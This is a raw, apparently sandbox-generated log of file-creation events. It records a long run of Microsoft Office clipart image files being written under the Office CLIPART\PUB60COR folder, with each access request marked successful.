Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0090779.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0090781.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0090783.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0093905.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0098497.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099145.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099146.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099147.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099148.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099149.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099150.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099151.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099152.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099153.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099154.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099155.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099156.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099157.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099158.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099159.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099160.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099161.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099162.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099163.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099164.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099165.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099166.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099167.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099168.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099169.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099170.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099171.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099172.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099173.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099174.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099175.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099176.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099177.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099178.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099179.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099180.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099181.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099182.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099183.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099184.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099185.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099186.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099187.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099188.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099189.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099190.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099191.JPG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099192.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099193.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099194.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099195.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099196.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099197.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099198.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099199.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099200.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099201.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099202.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099203.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099204.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099205.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0101856.BMP desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0101857.BMP desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0101858.BMP desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0101859.BMP desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0101860.BMP desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0101861.BMP desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0101862.BMP desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0101863.BMP desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0101864.BMP desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0101865.BMP desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0101866.BMP desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0101867.BMP desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0101980.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0102002.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0102594.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0102762.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0102984.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0103058.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0103262.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0103402.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0103812.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0103850.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105230.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105232.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105234.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105238.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105240.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105244.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105246.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105250.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105266.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105272.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105276.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105280.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105282.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105286.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105288.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105292.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105294.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105298.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105306.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105320.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105328.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105332.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105336.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105338.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105348.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105360.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105368.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105376.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105378.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105380.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105384.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105386.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105388.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105390.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105396.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105398.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105410.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105412.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105414.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105490.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105496.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105502.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105504.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105506.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105520.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105526.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105530.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105588.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105600.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105638.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105710.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105846.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105912.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105974.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0106020.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0106124.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0106146.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0106208.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0106222.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0106572.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0106816.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0106958.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107024.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107026.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107042.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0107090.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
